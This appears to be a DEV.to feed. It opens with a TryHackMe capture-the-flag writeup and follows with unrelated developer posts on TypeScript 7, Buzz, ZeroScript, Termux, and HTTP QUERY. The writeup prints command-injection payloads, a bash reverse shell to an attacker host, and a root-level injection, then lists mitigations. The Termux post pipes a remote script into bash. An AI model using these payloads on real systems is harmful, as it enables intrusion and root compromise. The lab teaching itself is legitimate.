DEV.to - Trending Guides

TryHackMe : Infinity Pool Writeup

Yogeshwar Peela — Fri, 07 Aug 2026 10:41:28 GMT

Summary

Recon on <MACHINE_IP> revealed a Gunicorn-hosted "Byte Lotus" hotel site with two paths disallowed in robots.txt - /internal/ and /status. The /status page exposes an internal staff tool ("Sister-property connectivity") that POSTs a host parameter to /internal/netcheck, which shells out to ping without sanitizing input. This allowed OS command injection as the web user, leading to an initial foothold and the user flag.

From there, an internal-only "Watchtower" ops console (127.0.0.1:3000) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an "Automation Key" bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (127.0.0.1:9000), whose /jobs/export endpoint built a shell command from an unsanitized report parameter - a second command injection, this time as root, yielding the root flag.

Recon

nmap -A -Pn <MACHINE_IP> -o nmap

Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
Nmap scan report for <MACHINE_IP>
Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
|_http-title: Byte Lotus &mdash; Stay Noticed
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
3   38.68 ms <MACHINE_IP>

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds

Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.

robots.txt disclosed two hidden paths:

User-agent: *
Disallow: /internal/
Disallow: /status

/static/app.js contained a developer comment leaking the internal endpoint behind /status:

// Byte Lotus front-end bootstrap.
// TODO(ops): the staff connectivity tool at /status posts to the legacy
// /internal/netcheck handler. Keep it out of the public nav until the new
// auth gateway ships. Disallowed in robots.txt for now.

/internal/ (GET) returned 404 directly, but /status (GET) rendered a form:

<form method="post" action="/internal/netcheck" class="tool">
  <input type="text" name="host" value="" placeholder="property host e.g. 10.0.0.5" autofocus>
  <button type="submit">Check</button>
</form>

dirsearch against the root found nothing further of interest.

Vulnerability - OS Command Injection in /internal/netcheck

The host field is passed unsanitized into a shell command (almost certainly ping <host> under the hood, given the trailing ping: usage error output on every request). Standard ;-separated command chaining worked immediately:

curl -X POST http://<MACHINE_IP>/internal/netcheck -d 'host=;id'

Response body embedded in the <pre class="out"> block:

uid=1001(web) gid=1001(web) groups=1001(web)
ping: usage error: Destination address required

Confirmed further with whoami and which bash:

web
/usr/bin/bash

Getting the reverse shell to fire

First attempts with curl -d failed - unescaped & in the /dev/tcp redirect payload was interpreted by curl as a form-field separator, truncating the command before it ever reached the server (visible in the reflected value= attribute, which showed the string cut off after bash -i). Switching to --data-urlencode fixed the encoding:

penelope -p 4444 listen

curl -X POST http://<MACHINE_IP>/internal/netcheck \
  --data-urlencode "host=;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"

This curl call returned Request timed out. - expected, not a failure, since the reverse shell never sends an HTTP response back to close the request. The payload had already fired in the background and connected out to the listener. Session landed as web, with penelope auto-upgrading the shell to a PTY via its own python3-based upgrade mechanism (unrelated to the injected payload itself):

[+] [New Reverse Shell] => tryhackme-2404 <MACHINE_IP> Linux-x86_64 web(1001) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3

Root cause confirmed in source

Once shell access was gained, /var/www/infinity_pool/edge/app.py confirmed the vulnerability - the host form value is interpolated straight into an f-string and run with shell=True:

@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
    host = request.form.get("host", "").strip()
    if not host:
        return render_template("status.html", host="", output="No host supplied.")
    try:
        proc = subprocess.run(
            f"ping -c 1 {host}",
            shell=True,
            capture_output=True,
            text=True,
            timeout=15,
        )
        output = proc.stdout + proc.stderr
    except subprocess.TimeoutExpired:
        output = "Request timed out."
    return render_template("status.html", host=host, output=output)

Foothold - User Flag

web@tryhackme-2404:/var/www/infinity_pool/edge$ id
uid=1001(web) gid=1001(web) groups=1001(web)
web@tryhackme-2404:/var/www/infinity_pool/edge$ cat /home/web/user.txt
THM{REDACTED}

App is served out of /var/www/infinity_pool/edge.

Privilege Escalation

Enumeration as web

sudo -l requires a password web doesn't have:

  sudo: a password is required

/home/ubuntu is locked down - .Xauthority and .bash_history both return permission denied.
No unusual SUID binaries outside standard snap-core noise and system defaults (find / -perm -4000 2>/dev/null).
ss -tulnp showed a handful of loopback-only listeners beyond the public app on 80 - but at this stage that's all it was, just open ports with no names attached:

  127.0.0.1:9000
  127.0.0.1:5038   (matches Asterisk AMI's default port)
  127.0.0.1:3000
  127.0.0.1:8080
  127.0.0.1:8088
  127.0.0.1:8089
  127.0.0.1:3306   (MySQL/MariaDB)
  0.0.0.0:22       ssh
  0.0.0.0:80       gunicorn

5038 and 3306 were recognizable from their well-known defaults, but 3000, 8080, 8088, 8089, and 9000 were all unknowns at this point - just doors with no labels on them.

ps aux is what actually identified them. It showed a var/www tree called infinity_pool with three separate Python/gunicorn processes, each running as a different user:

  web          665  /var/www/infinity_pool/edge/venv/bin/python3 ... gunicorn --workers 1 --bind 0.0.0.0:80 wsgi:app
  root         664  /var/www/infinity_pool/automation/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app
  svc-watch    666  /var/www/infinity_pool/watchtower/venv/bin/python3 ... gunicorn --workers 1 --bind 127.0.0.1:3000 wsgi:app

That's where the port-to-service mapping actually came from: edge (the app already owned, running as web) is bound to 80; a separate watchtower process runs as its own svc-watch user on 3000; and automation runs as root on 9000 - the first real sign of something worth escalating toward. ss alone never suggested any of that; it took reading the process list to connect ports to services and owners. (8080, 8088, and 8089 turned out later to be Apache/FreePBX and Asterisk's HTTP/ARI interfaces respectively - that only became clear once UCP was reached directly through 8080; ps aux didn't tie those ports to Apache as cleanly at this stage.)

/etc/systemd/system/cc-automation.service confirmed the important detail - the automation service on port 9000 runs as root:

[Unit]
Description=Closed Circuit - Automation job runner (loopback, root)

[Service]
User=root
Group=root
WorkingDirectory=/var/www/infinity_pool/automation
EnvironmentFile=/var/www/infinity_pool/automation/automation.env
ExecStart=/var/www/infinity_pool/automation/venv/bin/gunicorn --workers 1 --bind 127.0.0.1:9000 wsgi:app

automation.env itself was unreadable as web (permission denied), so the automation Bearer key had to come from somewhere else.

Credential leak via Watchtower

curl http://localhost:3000/api/config (the "Watchtower - ops console" service) returned FreePBX UCP credentials in plaintext, explicitly flagged by an internal ops note as not yet rotated:

{"automation_endpoint":"http://127.0.0.1:9000",
 "note":"internal network only -- do not expose",
 "ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
 "telephony_pass":"St4yN0t1c3d_2026",
 "telephony_portal":"http://127.0.0.1:8080/ucp",
 "telephony_user":"FreePBXUCPTemplateCreator"}

curl http://localhost:9000/health confirmed the automation service's shape and that it runs as root:

{"endpoints":{"GET /health":"service status",
 "POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
 "body":{"report":"<report name>"},
 "desc":"archive the latest data export"}},
 "runs_as":"root","service":"automation","status":"ok"}

Trying the leaked UCP creds directly against Asterisk AMI (5038) failed - wrong service:

timeout 5 bash -c '(echo -e "Action: Login\r\nUsername: FreePBXUCPTemplateCreator\r\nSecret: St4yN0t1c3d_2026\r\n\r\n"; sleep 2) | nc 127.0.0.1 5038'
Asterisk Call Manager/9.0.0
Response: Error
Message: Authentication failed

Getting into the UCP dashboard

curl-based scripted logins against http://127.0.0.1:8080/ucp/ (grabbing the CSRF token from the login form, then POSTing token/username/password) technically returned HTTP 200 each time but never actually authenticated - the response kept showing an empty <h3>Welcome </h3> and a fresh, unused login form, and later attempts just hung/timed out entirely. The UCP login flow depends on client-side JS/AJAX behavior that plain curl POSTs don't reproduce.

Fix: add an SSH public key to web's authorized_keys (writable as web) and SSH in directly, then forward the internal port out to a real browser instead of fighting curl:

echo 'ssh-ed25519 AAAA...<REDACTED>... kali@kali' >> ~/.ssh/authorized_keys

ssh -L 8080:127.0.0.1:8080 web@<MACHINE_IP>

Browsing to http://127.0.0.1:8080/ucp/ and logging in with FreePBXUCPTemplateCreator / St4yN0t1c3d_2026 worked immediately through the browser.

Leaking the automation key through a voicemail CID

Inside UCP, adding a new dashboard tab and a Voicemail widget for the FreePBXUCPTemplateCreator mailbox surfaced a single voicemail whose Caller ID field had leaked the automation service's Bearer token:

Voicemail entry - Tue, Jun 30, 2026 9:31 AM - CID: "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000> (extension 9000 lines up with the automation service's port)

This is an internal misconfiguration - a caller-ID/name lookup process appears to have templated the automation key straight into the CID name field for calls involving extension 9000, and that field is fully visible to anyone with UCP voicemail access.

Root via second command injection (automation service)

With the key in hand, /jobs/export behaved like the earlier netcheck endpoint - the report field gets built into a shell command (tar czf /var/automation/exports/<report>.tgz /var/automation/data ...) without sanitization, and it runs as root. Breaking out with ; and closing the rest of the line with #:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; id #"}'

{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; id #.tgz /var/automation/data 2>&1",
 "output":"uid=0(root) gid=0(root) groups=0(root)\ntar: Removing leading `/' from member names\n"}

Confirmed root, then read the flag directly:

curl -s -X POST http://127.0.0.1:9000/jobs/export \
  -H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
  -H "Content-Type: application/json" \
  -d '{"report":"x.tgz /var/automation/data; cat /root/root.txt #"}'

{"command":"tar czf /var/automation/exports/x.tgz /var/automation/data; cat /root/root.txt #.tgz /var/automation/data 2>&1",
 "output":"THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Removing leading `/' from member names\n"}

Root Flag

THM{tr4c3d_t0_th3_h0r1z0n}

Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Information disclosure via `robots.txt` + JS comment	`/robots.txt`, `/static/app.js`	Revealed hidden internal staff endpoint
2	OS command injection (unsanitized `host` param, `shell=True` + f-string)	`POST /internal/netcheck`	RCE as `web` (uid 1001)
3	Plaintext credential disclosure via internal API	`GET /api/config` on Watchtower (127.0.0.1:3000)	Leaked live FreePBX UCP credentials, explicitly noted as unrotated
4	Sensitive token leaked into an unrelated UI field (caller ID)	UCP voicemail Caller ID, extension 9000	Leaked automation service Bearer token
5	OS command injection (unsanitized `report` param, root-run service)	`POST /jobs/export` on automation service (127.0.0.1:9000)	RCE as `root`

Attack Chain

[robots.txt disallow] --> [/status leaks /internal/netcheck endpoint]
        |
        v
[POST host=;<cmd> to /internal/netcheck] --> [OS command injection as web]
        |
        v
[bash /dev/tcp reverse shell] --> [foothold as web (uid=1001)]
        |
        v
[user.txt captured]
        |
        v
[ss -tulnp: unlabeled internal ports] --> [ps aux: identifies edge/watchtower/automation + owners]
        |
        v
[GET /api/config on Watchtower (127.0.0.1:3000)] --> [leaked FreePBX UCP creds]
        |
        v
[SSH key added to web's authorized_keys] --> [SSH port-forward 8080 to real browser]
        |
        v
[Login to UCP, add Voicemail widget] --> [Automation Key leaked in voicemail CID]
        |
        v
[POST report=;<cmd># to /jobs/export with Bearer key] --> [OS command injection as root]
        |
        v
[root.txt captured]

Mitigations

Never pass user-supplied input directly into a shell command; use a subprocess call with argument lists (no shell=True) and validate input against a strict allowlist. Both /internal/netcheck (host) and /jobs/export (report) need this fix.
Remove reliance on robots.txt and client-side JS comments to "hide" internal tooling - enforce authentication/network-level restriction (VPN, IP allowlist, or auth gateway as the code comment itself suggests was planned).
Never return credentials in plaintext from an internal "status/config" API, even on a loopback-only service - internal-only does not mean untrusted-process-proof once any foothold exists on the host.
Rotate default/template credentials (the app's own ops note flagged this and it was never acted on) and avoid shipping template accounts with static, reused passwords.
Do not template secrets (like the automation Bearer key) into user-visible fields such as caller ID / display name - secrets belong in dedicated secret storage, not in fields designed for human-readable display data.
Run internal automation services with least privilege - the /jobs/export service should not run as root; a dedicated low-privilege service account with only the file/archive permissions it needs would have contained this to a much smaller blast radius.

Jack Dorsey's Buzz: The Dev Workflow Game Changer We Didn't Know We Needed?

Hanzla Baig — Wed, 22 Jul 2026 04:21:13 GMT

Alright, so I just caught wind of something that actually made me pause my npm install for a second. Jack Dorsey, yeah, that Jack Dorsey, is launching something called Buzz. And it's not just another chat app or another Git host. It's an integration of team chat, AI agents, and Git hosting. As a full-stack dev grinding on Next.js, TypeScript, and constantly wrangling Supabase and various AI APIs, this immediately piqued my interest.

The "Why" Behind the Buzz: One Ring to Rule Them All?

Let's be real: our current dev workflow is a fragmented mess. We've got Slack/Discord for chat, GitHub/GitLab for code, Jira/Trello for project management, and then a whole host of bespoke tools for AI model management, testing, and deployment. Context switching is a silent killer of productivity. Every time I jump from a PR review to a design discussion to debugging a webhook, I lose a little bit of flow.

Buzz, on paper, sounds like it's trying to tackle this head-on. Imagine a world where your AI agent, trained on your codebase and documentation, can directly participate in your team chat, suggest code improvements, answer questions about specific Git commits, or even help you craft a new feature branch based on a discussion. That's not just convenience; that's a fundamental shift in how we interact with our tools and, crucially, with our code.

AI Agents: More Than Just Smart Bots

We've all played with ChatGPT, and we're integrating LLMs into our apps. But the idea of deeply integrated, context-aware AI agents within our core collaboration and Git platform? That's where it gets spicy. Think about it:

Automated PR Summaries: An agent could analyze a PR, summarize changes, flag potential issues based on internal guidelines, and even suggest reviewers who have worked on similar parts of the codebase.
Instant Code Answers: Instead of digging through docs or Slack history, you could ask your Buzz AI, "How do I integrate the new payment gateway service?" and it could pull up relevant code snippets, documentation, and past discussions directly from your Git history and chat logs.
Proactive Issue Detection: Imagine an agent monitoring your Git pushes, noticing a pattern of errors, and proactively alerting the team or even suggesting a fix before it hits staging.

This isn't just about making things faster; it's about making our development process smarter and more resilient. It's about offloading the repetitive, cognitive load so we can focus on the truly creative and complex problems.

Git Hosting & Chat: A Symbiotic Relationship

The Git hosting aspect is key here. It's not just about having a place for your code; it's about the deep integration. When your chat and AI agents live in the same ecosystem as your code, the possibilities explode.

Code-Aware Discussions: Imagine discussing a bug and being able to instantly reference a line of code, and have the AI agent immediately pull up its history, related issues, and even potential fixes.
Automated Branching/Committing: A discussion in chat could lead to an AI agent automatically creating a feature branch, populating it with a basic structure based on a template, and even generating an initial commit message based on the conversation.
Enhanced Onboarding: New team members could leverage AI agents to quickly understand the codebase, project history, and team conventions by asking natural language questions directly within their chat interface.

This level of integration could dramatically reduce the friction in our daily dev lives. It's less about switching tabs and more about a fluid, continuous flow of information and action.

The Future of Dev Tools and SaaS: A Unified Front?

If Buzz delivers on this promise, it could set a new precedent for developer tools. The current landscape of specialized SaaS products might start to feel clunky and inefficient in comparison. We've seen platforms try to do "all-in-one" before, often resulting in a mediocre experience across the board. But with Jack Dorsey's backing and the current advancements in AI, this could be different.

It forces us to ask: Are we entering an era where the best developer experience isn't about having the best individual tools, but the best integrated ecosystem? And what does this mean for companies like GitHub, GitLab, Slack, and even smaller niche AI dev tools? They'll either need to incredibly deepen their own integrations or risk being outflanked by a truly unified platform.

I'm genuinely curious to see how Buzz plays out. Could this be the platform that finally unifies our fragmented dev world and truly leverages AI to make us more effective? Or will it be another ambitious attempt that falls short?

What do you think? Is this the future, or just another buzzword-laden promise?

TypeScript 7 is officially released! 🚨

Anthony Max — Sat, 18 Jul 2026 12:52:21 GMT

Hello everyone! The long-awaited TypeScript 7 was finally released the other day. And the new features it brings are truly astonishing.

Several months ago I already wrote an article on this topic, but today I would like to write again about this event in programming.

Well, let's get started!

👀 What did they do?

First of all, it is worth noting that the implementation of TypeScript 7 is now done in the Go programming language. As Microsoft said, they tried to make the functions as close to the old code as possible in order to minimize bugs.

This was done to speed up the compilation of TypeScript code into machine-readable code, in short. Since VS Code runs on TypeScript, its speed is correspondingly increased. Editor operations now nearly instantaneous (e.g., finding first error in VS Code from ~17.5s to <1.3s). And not just a text editor.

To prove my point, let's check the performance benchmarks:

Benchmark 1: Compile Times Between Typescript 6&7

Codebase	TypeScript 6	TypeScript 7	Speedup
vscode	125.7s	10.6s	11.9x
sentry	139.8s	15.7s	8.9x
bluesky	24.3s	2.8s	8.7x
playwright	12.8s	1.47s	8.7x
tldraw	11.2s	1.46s	7.7x

Benchmark 2: Aggregate Memory Usage in TypeScript 6&7

Codebase	TypeScript 6	TypeScript 7	Cumulative Memory
vscode	5.2GB	4.2GB	-18%
sentry	4.9GB	4.6GB	-6%
bluesky	1.8GB	1.3GB	-26%
playwright	1.0GB	0.9GB	-11%
tldraw	0.6GB	0.5GB	-15%

Benchmark 3: Performance with --checkers 8 in TypeScript 6&7

Codebase	TypeScript 6	TypeScript 7 (--checkers 8)	Speedup
vscode	125.7s	7.51s	16.7x
sentry	139.8s	12.08s	11.6x
bluesky	24.3s	2.01s	12.1x
playwright	12.8s	1.16s	11x
tldraw	11.2s	1.06s	10.6x

These are the official benchmark results. And they're truly impressive. I can say that VS Code used to take quite a while to open on my old MacBook, but with these new features, everything will be much faster now.

⚙️ Functional changes

In addition to speed and rewriting all functions in Go, the following benefits are now added:

Performs parsing, type-checking, and emitting in parallel with experimental --checkers and --builders for fine-tuning microsoft

This gives developers complete control over the balance between performance and memory consumption. On CI runners or with limited resources, parallelism can be reduced without losing functionality.

New --singleThreaded for debugging or resource-limited environments

Solves a rather important debugging problem and ensures predictability of results when reproducing bugs.

Type-checking workers can be scaled without scaling builder workers

If you didn't know, type-checking workers handle complex type-checking logic, while builder workers assemble project references; their work is limited by the project dependency graph.

This means that now when setting parameters such as --checkers 6 and --builders 4 can be configured flexibly for each project to ensure the best project build performance.

The --watch mod has also changed, now it uses Parcel's file-watcher ported to Go for assembly, and eliminates expensive polling on large node_modules.

There are also some minor changes in JavaScript and in the configuration file, but overall they are not that important.

💬 My opinion

I believe that speeding up fundamental features like TypeScript, even if it's just rewriting functions in Go, has a significant impact on development. Websites today have quite a few modules and run on modern frameworks like Next.js, Remix, Nuxt, and many others. And they all still run on TypeScript, so it's difficult to comprehend how much time a tenfold speedup in version 7 will save. For developers, VS Code and the Cursor built on top of it will allow them to develop websites even faster.

What do you think about this? It will be interesting to read!

❤️ Thank you very much for reading the article!

Why Your TypeScript 7 Upgrade Broke ESLint, ts-jest, and ts-morph

Dev Encyclopedia — Wed, 15 Jul 2026 03:55:26 GMT

You installed TypeScript 7, ran your build, and something broke. Maybe ESLint crashed with a cryptic TypeError: Cannot read properties of undefined (reading 'Cjs'). Maybe ts-jest stopped transforming your test files. Maybe your CI pipeline just went red for no reason you can point to.

You're not doing anything wrong.

TypeScript 7 shipped tsgo, a genuine Go port of the type-checker, not a rewrite from scratch. But the tools that plug into TypeScript don't talk to the type-checker directly, they talk to a programmatic API. That API isn't stable yet, it lands in 7.1. Until then, a chunk of the ecosystem throws errors the moment you point typescript at the new version.

The 10-second version

Don't replace typescript in your dependencies with the 7.x line if you use typescript-eslint, ts-jest, ts-morph, or any tool doing programmatic type-checking. Keep typescript pinned to 6.x for those tools, and install @typescript/native-preview alongside it purely for fast type-checking in CI or a manual tsgo --noEmit command. Two compilers, living side by side, each doing a different job.

Why this is happening

The TypeScript team calls this Project Corsa: a line-by-line port of the compiler from the old JavaScript codebase (Strada) into Go (Corsa), preserving identical type-checking behavior while getting roughly 10x faster builds from real OS threads instead of Node's single-threaded event loop.

That preservation is impressive, but it's a port, not a reimplementation with a new API surface. Tools like typescript-eslint depend on the programmatic API to walk your AST and pull type information out of the compiler, and that API isn't ready until 7.1.

What's actually broken right now

typescript-eslint — npm refuses to install alongside typescript@7 at all (ERESOLVE error), because the published peer range only allows versions below 6.1.0. Force it through and ESLint crashes deep inside typescript-estree. Tracked as typescript-eslint issue #12518, closed as not planned since the real fix is on TypeScript's side.

ts-jest — Fine if typescript stays on 6.x in node_modules. Point ts-jest itself at @typescript/native-preview and it breaks, because it calls internal Strada APIs Corsa doesn't expose yet. Shows up as confusing transform failures, not install failures.

ts-morph and custom AST transformers — Same story: deep programmatic type introspection needs the 7.1 API. These tend to fail silently or produce subtly wrong output rather than crash outright, so audit before upgrading.

Monorepos with project references — The roughest edge. tsgo drops generic type parameters from JSDoc @typedef declarations using @template, and skipLibCheck: true doesn't suppress certain parse-level errors from third-party .d.ts files. A compatibility survey of 15 pipeline tools found 9 call Strada API functions that no longer exist.

The side-by-side fix

npm install -D typescript@^6.9
npm install -D @typescript/native-preview

{
  "scripts": {
    "typecheck:fast": "tsgo --noEmit",
    "build": "tsc"
  }
}

Run typecheck:fast as an early CI step, before your slower full build, and leave typescript-eslint's config untouched so it keeps resolving against your pinned 6.x install.

When to cut over

Wait for 7.1's stable programmatic API before dropping the side-by-side setup. If you're not using typescript-eslint, ts-morph, or custom transformers, and just run tsc for type-checking and emit, you can move to 7.0 as soon as it hits general availability. Most codebases aren't that lucky.

Full breakdown with the tool compatibility matrix, tsconfig defaults that changed, and an ERESOLVE fix generator: 👉 Why Your TypeScript 7 Upgrade Broke ESLint, ts-jest, and ts-morph

ZeroScript 1.4.0: Free AI Agent for Roblox Studio Now Connects to Other MCP Servers (Blender, Ske...

sebattfg — Thu, 09 Jul 2026 10:41:53 GMT

If you build games in Roblox Studio and wish you could just talk to an AI and have it write Luau, edit scripts, and build your game world for you, you might not know that a free option already exists.

ZeroScript is a free, open-source browser extension that turns DeepSeek, Gemini, Kimi, GLM, Qwen, or Arena into a full AI agent for Roblox Studio. No API key. No terminal. No coding required to set up. You open a normal AI chat in your browser, and it can read/edit your scripts, run Luau code, generate assets, and control play-testing, directly in Studio.

It's positioned as a free alternative to paid tools like Lemonade.gg or Luamotion, since it works with AI providers that are free to use.

How it works

AI chat (in your browser) -> ZeroScript Extension -> Bridge (your PC) -> Roblox Studio

The extension lives inside the chat page itself. When you type a request, it relays commands to a small local Bridge app running on your PC, which talks to Roblox Studio through Studio's built-in MCP server.

What's new in 1.4.0

The headline feature this update: ZeroScript can now connect to other MCP servers alongside Roblox Studio. This is still experimental, but it's a meaningful shift, since ZeroScript stops being just a Roblox tool and starts being a general-purpose orchestrator.

Concretely, from the panel's menu, you can now add an addon MCP server (Blender, Sketchfab, or any local MCP command). Roblox Studio stays the always-on primary connection, and the AI only reaches for an addon when the task actually needs it. If Roblox Studio goes down but an addon server is still alive, the agent can start in a degraded mode instead of refusing to run entirely.

Practically, this opens the door to workflows like modeling in Blender and importing straight into your Roblox place, all from the same AI chat session.

Other improvements in this release:

Better vision support across providers. Arena, Gemini, GLM, Kimi, and Qwen can now reliably see screen captures or images returned by tools, with a fixed upload flow that no longer silently drops attachments.
Smarter command recovery. If a command gets cut off by the model's own output limit (only missing its closing brackets), ZeroScript now auto-completes and runs it instead of forcing a full retry. Error feedback is also more specific: cut off, bad JSON, missing marker, or wrong format, so the AI can self-correct faster.
More accurate tool status chips, including a fix for a DeepSeek-specific bug where a command's chip showed as finished while the AI was still writing it. ## Supported AI providers

ZeroScript currently works with six free AI chat interfaces:

DeepSeek (chat.deepseek.com) - the most stable, recommended as your default
Google Gemini (gemini.google.com)
Kimi (kimi.com, Moonshot AI)
GLM (chat.z.ai, Z.ai)
Qwen (chat.qwen.ai, Alibaba Cloud)
Arena (arena.ai) - a multi-model playground, use Direct mode only Gemini and Kimi can occasionally be less consistent about sticking to Roblox tool calls in long sessions, that's model behavior rather than an extension bug, and usually a quick nudge or a fresh session fixes it.

What the AI can actually do in Studio

Read and edit scripts
Run Luau code directly
Inspect the game tree and instances
Generate meshes, materials, and models
Browse and insert from the Creator Store
Control play-testing
Remember your project across sessions, thanks to persistent project memory saved inside your place

Getting started

Grab the latest zip from the Releases page and load the extension as unpacked in Edge or Chrome (Developer mode).
Open Roblox Studio, load a place, enable the MCP server once from the Assistant AI panel.
Run start.bat to launch the local Bridge.
Open DeepSeek (or any supported provider) in your browser, click Start session, and start building. There's a full video walkthrough on YouTube if you'd rather watch than read.

Now you can run opencode on termux :)

Sérgio Araújo — Fri, 03 Jul 2026 19:48:54 GMT

How to Run Open Code on Termux for Free: The Definitive Guide

AI agents are transforming how we write code, but running them on a mobile device has always been a challenge. In a recent guide by tech creator DevCoreX, a seamless and entirely free method to run the updated version of Open Code directly inside Termux on Android was revealed.

Here is a comprehensive breakdown of how the setup works, how to install it, and how to start leveraging free AI models like MiniMax M2.5 and Big Pickle on your phone.

The Architecture: How It Works Without Root

Running complex desktop-grade AI software on Android usually requires a rooted device. However, this implementation utilizes a clever workaround: UDocker.

Because standard Docker cannot run on Termux without root access (and even then faces heavy limitations), this setup uses UDocker. UDocker allows you to pull and execute Docker containers inside an isolated Linux environment (like Ubuntu) completely root-free.

To keep your workflow native, the setup implements a shared volume (shared directory). When you run Open Code inside a folder in Termux, it maps directly to home/opencode/workspace inside the container. This means any file the AI generates or modifies happens instantly in your local Termux directory—no manual file transferring required.

Step-by-Step Installation Guide

The easiest way to install and manage Open Code is through Cortermux, an open-source utility repository developed by the DevCoreX community.

Step 1: Install or Update Cortermux

curl -fsSL https://raw.githubusercontent.com/DevCoreXOfficial/core-termux/main/install.sh | bash

Open your Termux terminal and run the main Cortermux installation script (provided in the project's official repository). Once installed, check your version by running:

core

Make sure you are running version 3.7.1 or higher. If you need to update an older installation, execute:

core update core

Step 2: Install Open Code Individually

Cortermux features an AI module containing multiple tools. To save storage space and avoid downloading tools you do not need, target Open Code specifically using this flag:

core install ai --opencode

NOTE: In my case I chose the libc method and it worked perfectly

Step 3: Launch and Initialize

Create a dedicated working directory and navigate into it:

mkdir devcorex && cd devcorex

Now, start the agent by running:

opencode

Note: If you choose the container instalation method the very first time you execute this command, it will automatically download the required UDocker Linux container. This initial download takes a few moments, but all subsequent launches will open almost instantly.

Working with Free Models and Features

Once Open Code is running, you can interact with it like a standard terminal-based AI assistant.

View Available Models: Type /models within the environment. By default, you get access to three capable free models: MiniMax M2.5, Big Pickle, and Nemotron 3 Superfree.
Custom Providers: If you exhaust the free limits, Open Code is highly flexible. You can easily plug in API keys from premium providers like OpenAI, Anthropic, Google, or GitHub.
Persistent Sessions: The agent automatically tracks your chat history and project context. If you type /exit and return later, it remembers exactly what you were working on.
Skills Integration: By using the /skills command, you can inspect or run automated modular tasks to extend the agent's core capabilities.

Credits & Featured Links

Main reference: Video Author -> DevCoreX

Special Thanks: This Termux adaptation was made possible thanks to community developer Iván 3 (Iván 3 by Cinderela), who successfully adapted the environment and maintains it within his custom laboratories.

Project Resources:

Ialaf GitHub Repository: Maintained by Iván 3, hosting the manual deployment files and alternative Termux packages. (Search "Ialaf GitHub" to access the repository releases).

Cortermux Project: The official open-source tool manager used in this tutorial, accessible via the DevCoreX community channels.

Author's Channel (DevCoreX): https://youtu.be/r3QwU_h8TmY (Original video link provided)

Cortermux Project Repository: https://github.com/DevCoreXOfficial/core-termux

Ialaf Laboratory (Iván 3): https://github.com/ivan3bycinderela/Ialaf or https://github.com/ivan3-by-cinderela/Ialaf (Depending on the GitHub username variation for developer Iván 3).

Base Tool (UDocker): https://github.com/indigo-dc/udocker (The mentioned tool used to run containers without root).

HTTP Just Got Its First New Method in 20 Years. Here's Why You Should Care.

Andrés Clúa — Fri, 03 Jul 2026 12:00:27 GMT

If you have ever written this, this article is for you:

// a "search" that is actually a POST
axios.post('/api/search', { category: 'shoes', maxPrice: 100 })

Or the vanilla version:

fetch('/api/search', {
  method: 'POST',
  body: JSON.stringify({ category: 'shoes', maxPrice: 100 })
})

We all did it. The query was too big for a URL, so we used POST. It worked. But it was always a lie. We were telling HTTP "this modifies something" when it didn't.

In June 2026 the IETF published RFC 10008. It defines a new HTTP method called QUERY. It is the first new method in more than two decades. And it fixes exactly this.

The problem in 30 seconds

GET is perfect for reading data. It is safe, idempotent and cacheable. But it cannot carry a body, and URLs have length limits. Around 8000 characters if you are lucky. Less if a proxy in the middle disagrees.

POST carries any body you want. But HTTP assumes it changes state. So no automatic caching. No safe retries. If a POST times out, the client cannot just retry it. Maybe it already did something.

For years we had to pick one. Clean semantics or a real payload. Never both.

What QUERY does

QUERY is a GET with a body. That's it.

QUERY /products HTTP/1.1
Content-Type: application/json

{
  "category": "shoes",
  "maxPrice": 100,
  "sort": "price_asc"
}

I use axios for most of my projects, so this is how it looks there:

const { data } = await axios({
  method: 'QUERY',
  url: '/api/products',
  data: {
    category: 'shoes',
    maxPrice: 100,
    sort: 'price_asc'
  }
})

There is no axios.query() helper yet, but axios passes any custom method straight through to the underlying HTTP client, in the browser and in Node. No plugin needed.

If you prefer plain fetch, same idea:

const res = await fetch('/api/products', {
  method: 'QUERY',
  headers: { 'Content-Type': 'application/json' },
